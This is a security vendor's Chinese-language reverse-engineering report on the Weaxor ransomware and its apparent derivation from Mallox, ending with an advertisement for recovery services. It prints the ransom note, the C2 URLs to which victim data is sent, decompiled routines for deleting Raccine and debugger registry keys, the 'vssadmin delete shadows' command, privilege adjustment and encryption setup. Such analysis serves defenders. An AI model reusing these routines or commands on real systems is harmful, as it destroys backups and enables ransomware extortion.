【病毒分析】新崛起的weaxor勒索家族:疑似mallox家族衍生版,深度解析两者关联!

时间: 2024-12-19 17:09:31 浏览量:118

1.背景

1.1 家族介绍

  Weaxor家族在2024年11月首次现身,该勒索病毒会将“.rox”扩展名附加到受感染文件的名称后,并留下名为“RECOVERY INFO.txt”的勒索信。信中包含了Weaxor家族的暗网地址,受害者可以通过该地址进入一个一对一的聊天界面,其他人无法访问。值得注意的是,暗网地址的首页为空白,这一设计显得格外耐人寻味。

  一对一聊天界面

首页

1.1 疑似mallox源码修改

  此加密器与mallox家族极其相似,疑似为mallox源码修改之后编译得到,mallox具体分析请参考文章028.【病毒分析】Mallox勒索家族新版本:加密算法全面解析

  相似之处

  1. 都为不加密固定的五个语言俄语、哈萨克语、白俄罗斯语、乌克兰语和土库曼语;
  2. 都调整电源计划为高性能模式;
  3. 删除的注册表内容一致;
  4. 密钥生成和加密算法基本一致,但是rox在生成随机数的情况下又再次生成了0x38个字节的随机数,修复了mallox会被破解出密钥的情况;
  5. 信息回传的格式,以及url极其相似,mallox url如下:
http://193.106.191.141/QWEwqdsvsf/ap.php

  weaxor url如下:

http://193.143.1.139/Ujdu8jjooue/biweax.php

不同之处

  1. weaxor未对关机键进行隐藏;
  2. 获取文件方式不同,mallox获取文件方式为遍历文件,然后通过完成端口将文件提交到队列中,加密线程通过队列获取文件,而weaxor则是通过一个全局列表来传输;
  3. weaxor开启了较高的编译优化,而malllox则没有。

2.恶意文件基础信息

2.1 加密器基本信息

文件名QcmDAENTDj.exe
编译器Microsoft Visual C/C++(16.00)
大小709 KB
操作系统Windows(Vista)AMD64, 64位, GUI
模式64 位
类型EXEC
字节序LE
MD50d7e80ec85db5cb45642235cb2381a0c
SHA1f0a15a7ecaff7d0659bab2a416e5d668ff67724e
SHA256e21cbdbf6414ffc0ef4175295c7e188800a66b7b83302bd35b7e3fd6fabfccde

2.3 勒索信

Your data has been encrypted

In order to return your files back you need decryption tool

1)Download TOR Browser 
2)Open in TOR browser link below and contact with us there:
http://weaxorpemwzoxg5cdvvfd77p3qczkxqii37ww4foo2n4jcftxxxxxx.onion/lsaHqOhaJLOyrWSPvtJajdzqrftqzOlt/A07319B0F9F18E74D1888C2E58592BA9B205D3D3B42239D4D63CF2968FDC7440
Or email: lazylazy@tuta.com
Backup email: help.service@anche.no

Limit for free decryption: 3 files up to 5mb (no database or backups)

3.加密后文件分析

3.1威胁分析

病毒家族weaxor
首次出现时间/捕获分析时间2024/11 || 2024/12/11
威胁类型勒索软件,加密病毒
加密文件扩展名.rox
勒索信文件名RECOVERY INFO.txt
有无免费解密器?
检测名称Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 ))
感染症状无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.rox)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。
感染方式受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接
受灾影响所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。

3.2 加密的测试文件

文件名

  sierting.txt

具体内容:

加密文件名特征:

  加密文件名 = 原始文件名+rox ,例如:sierting.txt.rox

加密文件数据特征:

  如下,在倒数136字节处会有特征字节

加密算法:

  文件加密使用了chacha20加密算法和aes-ctr算法(用于加密密钥),其中chacha20的密钥为CryptGenRandom函数生成。aes的key则为cure25519算法生成的共享密钥的sha256生成的,iv则为CryptGenRandom函数生成

释放文件

勒索信(Recover files!!!.txt):

文件内容:
Your data has been encrypted

In order to return your files back you need decryption tool

1)Download TOR Browser 
2)Open in TOR browser link below and contact with us there:
http://weaxorpemwzoxg5cdvvfd77p3qczkxqii37ww4foo2n4jcft3mxxxxxx.onion/lsaHqOhaJLOyrWSPvtJajdzqrftqzOlt/B8953D4C242BDFA012F88510DF9ABC5B5A606C6E31703F4D670603FF8D971E4C
Or email: lazylazy@tuta.com
Backup email: help.service@anche.no

Limit for free decryption: 3 files up to 5mb (no database or backups)

程序执行流程:

4逆向分析

4.1加密器逆向分析

4.1.1 判断语言

bool sub_7FF7C71326D0()
{
  LANGID UserDefaultLangID; // ax
  int v2[2]; // [rsp+20h] [rbp-28h] BYREF
  __int16 v3; // [rsp+28h] [rbp-20h]
  char v4[6]; // [rsp+2Ah] [rbp-1Eh] BYREF

  v2[0] = 0x43F0419;
  v3 = 0x444;
  v2[1] = 0x4220423;
  UserDefaultLangID = GetUserDefaultLangID();
  return sub_7FF7C7140300(v2, v4, UserDefaultLangID) != v4;
}

  如果是以下语言的就不加密

419 俄语
423 白俄罗斯语
422 乌克兰语
444 土库曼语
43f 哈萨克语

4.1.2 更改电源方案为高性能

LibraryW = LoadLibraryW(L"PowrProf.dll");
  if ( LibraryW )
  {
    PowerSetActiveScheme = GetProcAddress(LibraryW, "PowerSetActiveScheme");
    if ( PowerSetActiveScheme )
      (PowerSetActiveScheme)(0i64, &byte_7FF7C719A960);
  }

4.1.3 删除注册表值,删除影卷复制

  SHDeleteKeyW(HKEY_CURRENT_USER, L"SOFTWARE\\Raccine");
  SHDeleteKeyW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Raccine");
  SHDeleteKeyW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\Raccine");//关闭事件服务
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\vssadmin.exe");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wmic.exe");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wbadmin.exe");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\bcdedit.exe");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\powershell.exe");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\diskshadow.exe");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\net.exe");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\taskkill.exe");//关闭系统自带的部分应用
  result = GetWindowsDirectoryW(Buffer, 0x104u);
  if ( result )
  {
    lstrcatW(Buffer, L"\\sysnative\\vssadmin.exe");
    lstrcpyW(String1, L" delete shadows /all /quiet");
    return (unsigned int)ShellExecuteW(0LL, L"open", Buffer, String1, 0LL, 0);//调用shell删除备份
  }
  return result;
}

4.1.4 提权

BOOL __fastcall sub_7FF7C7132610(LPCWSTR lpName)
{
  HANDLE CurrentThread; // rax
  HANDLE CurrentProcess; // rax
  BOOL result; // eax
  HANDLE TokenHandle; // [rsp+30h] [rbp-28h] BYREF
  struct _TOKEN_PRIVILEGES NewState; // [rsp+38h] [rbp-20h] BYREF

  CurrentThread = GetCurrentThread();
  if ( OpenThreadToken(CurrentThread, 0x20u, 0, &TokenHandle)
    || (CurrentProcess = GetCurrentProcess(), result = OpenProcessToken(CurrentProcess, 0x20u, &TokenHandle)) )
  {
    NewState.PrivilegeCount = 1;
    NewState.Privileges[0].Attributes = 2;
    if ( LookupPrivilegeValueW(0i64, lpName, &NewState.Privileges[0].Luid) )
      AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0i64, 0i64);
    return CloseHandle(TokenHandle);
  }
  return result;
}

4.1.5 密钥生成

  生成四字节随机数

  PerformanceCount[0].QuadPart = 0i64;
    QueryPerformanceCounter(PerformanceCount);
    TickCount = GetTickCount();
    v12 = GetCurrentThreadId() * TickCount;
    v13 = v12 * GetCurrentProcessId();
    v14 = __rdtsc();
    pbBuffer[0] = PerformanceCount[0].LowPart * v13 * v14;
    if ( (CryptAcquireContextW(phProv, 0i64, 0i64, 1u, 0)
       || GetLastError() == 0x80090016 && CryptAcquireContextW(phProv, 0i64, 0i64, 1u, 8u))
      && CryptGenRandom(phProv[0], 4u, pbBuffer) )
     {
      CryptReleaseContext(phProv[0], 0);
    }

  使用梅森旋转算法继续生成密钥

__int64 __fastcall sub_7FF7C71376E0(int a1)
{
  __int64 result; // rax
  int v2; // r8d
  int v3; // r9d
  int v4; // ecx
  int v5; // r10d
  int v6; // edx

  LODWORD(result) = 1;
  dword_7FF7C71BBD10[0] = a1;
  v2 = 1;
  v3 = 1;
  v4 = 1;
  v5 = 1;
  do
  {
    v6 = result + 1812433253 * (dword_7FF7C71BBD10[v4 - 1] ^ (dword_7FF7C71BBD10[v4 - 1] >> 30));
    dword_7FF7C71BBD10[v2] = v6;
    dword_7FF7C71BBD10[v5] = v6;
    result = (v3 + 1);
    dword_7FF7C71BC6D0 = result;
    v4 = v3 + 1;
    v2 = ++v3;
    v5 = result;
  }
  while ( result < 624 );
  return result;
}

  再次生成随机数

bool __fastcall sub_7FF7C712D5C0(NTSTATUS *a1, UCHAR *a2, signed int a3)
{
  NTSTATUS v4; // eax

  if ( a3 < 1 )
    return 0;
  v4 = BCryptGenRandom(0i64, a2, a3, 2u);
  *a1 = v4;
  return v4 >= 0;
}

  将生成的随机数使用sha256计算

  内置的公钥如下

  利用cure25519生成共享密钥

4.1.6 获取系统信息

  获取计算机名称

  获取用户名

  读取操作系统版本名

  获取网卡信息

  获取系统信息

  计算磁盘空间

if ( !qword_7FF7C71C4388 )
  {
    v10 = 0i64;
    LogicalDrives = GetLogicalDrives();
    for ( i = 65; i <= 90; ++i )
    {
      if ( (LogicalDrives & 1) != 0 )
      {
        *pszDest = 0;
        wnsprintfA(pszDest, 4, "%c:\\", i);
        TotalNumberOfFreeBytes.QuadPart = 0i64;
        TotalNumberOfBytes.QuadPart = 0i64;
        GetDiskFreeSpaceExA(pszDest, 0i64, &TotalNumberOfBytes, &TotalNumberOfFreeBytes);
        v10 += TotalNumberOfBytes.QuadPart - TotalNumberOfFreeBytes.QuadPart;
      }
      LogicalDrives >>= 1;
    }
    v9 = v10 >> 30;
    qword_7FF7C71C4388 = v9;
  }

  获取cpu型号

__m128i *__fastcall sub_7FF7C712ACB0(__m128i *a1)
{
  unsigned __int64 v2; // r8
  DWORD cbData[2]; // [rsp+30h] [rbp-208h] BYREF
  HKEY hKey[3]; // [rsp+38h] [rbp-200h] BYREF
  __m128i Data; // [rsp+50h] [rbp-1E8h] BYREF

  hKey[1] = a1;
  *a1 = 0i64;
  a1[1].m128i_i64[0] = 7i64;
  a1[1].m128i_i64[1] = 15i64;
  a1->m128i_i32[0] = 1852534389;
  a1->m128i_i16[2] = 30575;
  a1->m128i_i8[6] = 110;
  a1->m128i_i8[7] = 0;
  cbData[1] = 1;
  if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", 0, 0x20019u, hKey) )
  {
    cbData[0] = 456;
    if ( !RegQueryValueExA(hKey[0], "ProcessorNameString", 0i64, 0i64, &Data, cbData) && cbData[0] )
    {
      if ( cbData[0] >= 0x1C9ui64 )
        sub_7FF7C7163C6C();
      Data.m128i_i8[cbData[0]] = 0;
      v2 = -1i64;
      do
        ++v2;
      while ( Data.m128i_i8[v2] );
      sub_7FF7C7126050(a1, &Data, v2);
    }
    RegCloseKey(hKey[0]);
  }
  return a1;
}

  向这个地址发送请求,获取当前外网ip地址

  将这些信息写入txt

  拼接刚刚获取的信息

  如下

  生成了一个IP地址 http://193.143.1.139/Ujdu8jjooue/biweax.php,并将这些信息发送过去

4.1.7生成勒索信

4.1.8 挂载驱动器

  遍历系统中的所有卷,并尝试将每个未挂载的卷挂载到一个可用的驱动器号(从 C: 到 Z:)上。具体步骤如下:

  1. 获取系统中的第一个卷。
  2. 检查该卷是否已挂载。如果未挂载,尝试将其挂载到一个可用的驱动器号上。
  3. 继续遍历系统中的其他卷,重复步骤2,直到所有卷都处理完毕。
int sub_7FF7C7131220()
{
  HANDLE FirstVolumeW; // rax
  void *v1; // rsi
  WCHAR i; // bx
  BOOL NextVolumeW; // edi
  WCHAR j; // bx
  DWORD cchReturnLength; // [rsp+20h] [rbp-E0h] BYREF
  WCHAR szVolumeMountPoint; // [rsp+28h] [rbp-D8h] BYREF
  int v8; // [rsp+2Ah] [rbp-D6h]
  __int16 v9; // [rsp+2Eh] [rbp-D2h]
  WCHAR szVolumeName; // [rsp+30h] [rbp-D0h] BYREF
  __m128i v11[32]; // [rsp+32h] [rbp-CEh] BYREF
  __m128i szVolumePathNames[33]; // [rsp+240h] [rbp+140h] BYREF

  szVolumeName = 0;
  sub_7FF7C718EC80(v11, 0, 0x206ui64);
  FirstVolumeW = FindFirstVolumeW(&szVolumeName, 0x104u);
  v1 = FirstVolumeW;
  if ( FirstVolumeW != -1i64 )
  {
    sub_7FF7C718EC80(szVolumePathNames, 0, 0x208ui64);
    cchReturnLength = 0;
    GetVolumePathNamesForVolumeNameW(&szVolumeName, szVolumePathNames, 0x104u, &cchReturnLength);
    if ( cchReturnLength == 1 )
    {
      for ( i = 67; i <= 0x5Au; ++i )
      {
        szVolumeMountPoint = i;
        v8 = 6029370;
        v9 = 0;
        if ( SetVolumeMountPointW(&szVolumeMountPoint, &szVolumeName) )
          break;
      }
    }
    do
    {
      NextVolumeW = FindNextVolumeW(v1, &szVolumeName, 0x104u);
      LODWORD(FirstVolumeW) = GetVolumePathNamesForVolumeNameW(
                                &szVolumeName,
                                szVolumePathNames,
                                0x104u,
                                &cchReturnLength);
      if ( FirstVolumeW && cchReturnLength == 1 )
      {
        for ( j = 67; j <= 0x5Au; ++j )
        {
          szVolumeMountPoint = j;
          v8 = 6029370;
          v9 = 0;
          LODWORD(FirstVolumeW) = SetVolumeMountPointW(&szVolumeMountPoint, &szVolumeName);
          if ( FirstVolumeW )
            break;
        }
      }
    }
    while ( NextVolumeW );
  }
  return FirstVolumeW;
}

4.1.9 添加白名单

  添加白名单文件

  添加白名单文件夹

  添加白名单后缀

4.1.10 加密类初始化

  初始化aes-ctr类

  初始化 chacha20密钥

__int64 __fastcall sub_7FF7C713AE60(_DWORD *a1, __m128i *a2, unsigned int a3)
{
  __m128i *v4; // r9
  __m128i *v6; // rcx
  char *v7; // rdx
  __int64 result; // rax
  __m128i v9[2]; // [rsp+20h] [rbp-38h] BYREF

  v4 = a2;
  if ( !a1 || !a2 || ((a3 - 16) & 0xFFFFFFEF) != 0 )
    return 4294967123i64;
  if ( (a2 & 3) != 0 )
  {
    sub_7FF7C718E5E0(v9, a2, a3);
    v4 = v9;
  }
  v6 = v4 + 1;
  a1[4] = v4->m128i_i32[0];
  v7 = "expand 32-byte kexpand 16-byte k";
  a1[5] = v4->m128i_i32[1];
  if ( a3 != 32 )
    v6 = v4;
  a1[6] = v4->m128i_i32[2];
  a1[7] = v4->m128i_i32[3];
  if ( a3 != 32 )
    v7 = "expand 16-byte k";
  a1[8] = v6->m128i_i32[0];
  a1[9] = v6->m128i_i32[1];
  a1[10] = v6->m128i_i32[2];
  a1[11] = v6->m128i_i32[3];
  *a1 = *v7;
  a1[1] = *(v7 + 1);
  a1[2] = *(v7 + 2);
  a1[3] = *(v7 + 3);
  result = 0i64;
  a1[16] = 0;
  return result;
}

4.1.11 遍历文件

  遍历文件,找到文件夹就递归,找到文件就将他添加到全局变量里面

void __fastcall sub_7FF7C7132920(__int64 a1, _QWORD *a2)
{
  _QWORD *v4; // r9
  DWORD LastError; // eax
  __int64 v6; // r14
  char *v7; // r8
  __int64 v8; // rax
  __int64 v9; // rdx
  WCHAR *cFileName; // rax
  signed __int64 v11; // r8
  _QWORD *v12; // r9
  unsigned __int64 v13; // r8
  __int128 *v14; // rbx
  __int64 v15; // rax
  __int64 v16; // rbx
  __int64 v17; // rax
  HANDLE hFindFile; // [rsp+30h] [rbp-D0h] BYREF
  __int128 *v19; // [rsp+38h] [rbp-C8h]
  __int128 v20; // [rsp+40h] [rbp-C0h] BYREF
  __int64 v21; // [rsp+50h] [rbp-B0h]
  __int64 v22; // [rsp+58h] [rbp-A8h]
  HANDLE *p_hFindFile; // [rsp+60h] [rbp-A0h]
  char v24[32]; // [rsp+70h] [rbp-90h] BYREF
  char v25[72]; // [rsp+90h] [rbp-70h] BYREF
  _QWORD *v26; // [rsp+D8h] [rbp-28h]
  __int64 v27[4]; // [rsp+E0h] [rbp-20h] BYREF
  __int64 v28[6]; // [rsp+100h] [rbp+0h] BYREF
  struct _WIN32_FIND_DATAW FindFileData; // [rsp+130h] [rbp+30h] BYREF
  __m128i pszDest; // [rsp+380h] [rbp+280h] BYREF

  v26 = a2;
  shengcheng_str_0(&pszDest, 0, 0x2000ui64);
  v4 = a2;
  if ( a2[3] > 7ui64 )
    v4 = *a2;
  wnsprintfW(&pszDest, 4096, L"%s\\*", v4);
  shengcheng_str_0(&FindFileData, 0, 0x250ui64);
  hFindFile = FindFirstFileExW(&pszDest, FindExInfoStandard, &FindFileData, FindExSearchNameMatch, 0i64, 2u);
  if ( hFindFile == -1i64 )
  {
    LastError = GetLastError();
    sub_7FF7C712CDD0(1i64, L"Failed FindFistFileExW, last error code %d\n", LastError);
    goto LABEL_34;
  }
  p_hFindFile = &hFindFile;
  v6 = 0i64;
  do
  {
    if ( lstrcmpW(FindFileData.cFileName, L".") && lstrcmpW(FindFileData.cFileName, L"..") )
    {
      v7 = (a1 + 168);
      v8 = -1i64;
      do
        ++v8;
      while ( FindFileData.cFileName[v8] );
      v9 = *(a1 + 184);
      if ( *(a1 + 192) > 7ui64 )
        v7 = *v7;
      if ( v9 == v8 )
      {
        cFileName = FindFileData.cFileName;
        if ( !v9 )
          continue;
        v11 = v7 - FindFileData.cFileName;
        while ( *(cFileName + v11) == *cFileName )
        {
          ++cFileName;
          if ( !--v9 )
            goto LABEL_30;
        }
      }
      if ( (FindFileData.dwFileAttributes & 0xB7) != 0 )
      {
        v12 = a2;
        if ( a2[3] > 7ui64 )
          v12 = *a2;
        wnsprintfW(&pszDest, 4096, L"%s\\%s", v12, FindFileData.cFileName);
        sub_7FF7C7130C10(v27, &pszDest, FindFileData.cFileName, (FindFileData.dwFileAttributes & 0x10) == 0);
        if ( sub_7FF7C71337D0(a1, v27) )
        {
          if ( (FindFileData.dwFileAttributes & 0x10) != 0 )
          {
            if ( *(a1 + 8) )
            {
              v20 = 0i64;
              v21 = 0i64;
              v22 = 0i64;
              v13 = -1i64;
              do
                ++v13;
              while ( pszDest.m128i_i16[v13] );
              shengcheng_str(&v20, &pszDest, v13);
              sub_7FF7C7132920(a1, &v20);
            }
          }
          else
          {
            v14 = sub_7FF7C7130BA0(v25, v27);
            v19 = v14;
            v15 = *(a1 + 96);
            if ( !v15 )
              std::_Xbad_function_call();
            (*(*v15 + 16i64))(*(a1 + 96), v14);
            sub_7FF7C7111BE0(v14 + 4);
            sub_7FF7C7111BE0(v14);
            ++v6;
          }
        }
        sub_7FF7C7111BE0(v28);
        sub_7FF7C7111BE0(v27);
      }
    }
LABEL_30:
    ;
  }
  while ( FindNextFileW(hFindFile, &FindFileData) );
  if ( v6 )
  {
    v19 = &v20;
    v16 = sub_7FF7C7111C50(&v20, a2);
    v17 = sub_7FF7C7111C50(v24, a2);
    sub_7FF7C7130CB0(v27, v17, v16, 0i64);
    sub_7FF7C7133770(a1, v27);
    sub_7FF7C7111BE0(v28);
    sub_7FF7C7111BE0(v27);
  }
  FindClose(hFindFile);
LABEL_34:
  sub_7FF7C7111BE0(a2);
}

4.1.12 加密文件

  通过文的全局变量获取到文件名,然后再次生成密钥

bool __fastcall sub_7FF7C712D5C0(NTSTATUS *a1, UCHAR *a2, signed int a3)
{
  NTSTATUS v4; // eax

  if ( a3 < 1 )
    return 0;
  v4 = BCryptGenRandom(0i64, a2, a3, 2u);
  *a1 = v4;
  return v4 >= 0;
}

  aes-ctr初始化

  同时初始化chacha,其中输入的密钥为刚刚生成的随机数

  设置文件偏移指针位置为0

bool __fastcall sub_7FF7C7131D50(__int64 a1, LARGE_INTEGER a2, DWORD a3)
{
  void *v3; // rcx
  BOOL v5; // eax
  bool v6; // bl
  DWORD LastError; // eax

  v3 = *(a1 + 56);
  if ( v3 == -1i64 )
    return 0;
  v5 = SetFilePointerEx(v3, a2, 0i64, a3);
  v6 = v5;
  if ( !v5 )
  {
    LastError = GetLastError();
    sub_7FF7C712CDD0(1, L"Cant set file position... %d\n", LastError);
  }
  return v6;
}

  读取文件

bool __fastcall sub_7FF7C7131C20(__int64 a1, void *a2, __int64 a3, _QWORD *a4)
{
  void *v4; // rcx
  BOOL v6; // eax
  DWORD NumberOfBytesRead; // [rsp+40h] [rbp+8h] BYREF

  v4 = *(a1 + 56);
  if ( v4 == -1i64 || a3 <= 0 )
    return 0;
  NumberOfBytesRead = 0;
  v6 = ReadFile(v4, a2, a3, &NumberOfBytesRead, 0i64);
  *a4 = NumberOfBytesRead;
  return v6;
}

  设置偏移为末尾

bool __fastcall sub_7FF7C7131D50(__int64 a1, LARGE_INTEGER a2, DWORD a3)
{
  void *v3; // rcx
  BOOL v5; // eax
  bool v6; // bl
  DWORD LastError; // eax

  v3 = *(a1 + 56);
  if ( v3 == -1i64 )
    return 0;
  v5 = SetFilePointerEx(v3, a2, 0i64, a3);
  v6 = v5;
  if ( !v5 )
  {
    LastError = GetLastError();
    sub_7FF7C712CDD0(1, L"Cant set file position... %d\n", LastError);
  }
  return v6;
}

  写入aes加密后的密钥

  设置偏移写入加密标志

  获取文件大小

  使用chacha20算法加密

  加密完成后重命名文件

5.病毒分析概览

  它通过判断系统语言来决定是否加密,并在语言符合条件时执行加密。病毒更改电源方案为高性能,删除关键注册表项,禁用备份服务,防止数据恢复。同时,通过提权操作提升系统权限,确保病毒执行成功。密钥生成结合了随机数、梅森旋转算法和SHA256哈希,使用Curve25519生成共享密钥。最后,病毒收集系统信息,包括计算机名称、用户名、操作系统版本、网卡和磁盘空间,用于后续攻击或监控。

6.安全建议

1. 风险消减措施

  资产梳理排查目标: 根据实际情况,对内外网资产进行分时期排查

  服务方式: 调研访谈、现场勘查、工具扫描

  服务关键内容: 流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

2. 安全设备调优

目标

  通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。

主要目标设备

  网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

3. 全员安全意识增强调优

目标:

  通过网络安全意识宣贯、培训提升全方位安全能力

形式:

  培训及宣贯

线下培训课表

  若无法组织线下的集体培训,考虑两种方式:

    1.提供相关的安全意识培训材料,由上而下分发学习

    2.组织相关人员线上开会学习。线上培训模式。

线上学习平台

  以下是solar安全团队近期处理过的常见勒索病毒后缀:后缀.360勒索病毒,.halo勒索病毒,.phobos勒索病毒,.Lockfiles勒索病毒,.stesoj勒索病毒,.src勒索病毒,.svh勒索病毒,.Elbie勒索病毒,.Wormhole勒索病毒.live勒索病毒, .rmallox勒索病毒, .mallox 勒索病毒,.hmallox勒索病毒,.jopanaxye勒索病毒, .2700勒索病毒, .elbie勒索病毒, .mkp勒索病毒, .dura勒索病毒, .halo勒索病毒, .DevicData勒索病毒, .faust勒索病毒, ..locky勒索病毒, .cryptolocker勒索病毒, .cerber勒索病毒, .zepto勒索病毒, .wannacry勒索病毒, .cryptowall勒索病毒, .teslacrypt勒索病毒, .gandcrab勒索病毒, .dharma勒索病毒, .phobos勒索病毒, .lockergoga勒索病毒, .coot勒索病毒, .lockbit勒索病毒, .nemty勒索病毒, .contipa勒索病毒, .djvu勒索病毒, .marlboro勒索病毒, .stop勒索病毒, .etols勒索病毒, .makop勒索病毒, .mado勒索病毒, .skymap勒索病毒, .aleta勒索病毒, .btix勒索病毒, .varasto勒索病毒, .qewe勒索病毒, .mylob勒索病毒, .coharos勒索病毒, .kodc勒索病毒, .tro勒索病毒, .mbed勒索病毒, .wannaren勒索病毒, .babyk勒索病毒, .lockfiles勒索病毒, .locked勒索病毒, .DevicData-P-XXXXXXXX勒索病毒, .lockbit3.0勒索病毒, .blackbit勒索病毒等。

  勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。

  而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。如果您想了解有关勒索病毒的最新发展情况,或者需要获取相关帮助,请关注“solar专业应急响应团队”。

7.团队介绍

  团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)等认证,已构建了网络安全行业合格的资质体系;

8.我们的数据恢复服务流程

  多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。

① 免费咨询/数据诊断分析

​   专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。

​   售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

​   您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

​   专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

​   您清楚了解数据恢复方案后,您可自主选择以下下单方式:

  双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。

④ 开始数据恢复专业施工

  安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。

  数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。

⑤ 数据验收/安全防御方案

  完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。

  客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。

                      我们在此郑重承诺:

                     不成功不收费

                     全程一对一服务

                     365天不间断服务

                     免费提供安全方案

                     24h服务热线:

                     18894665383

                     17864099776

                     18299173318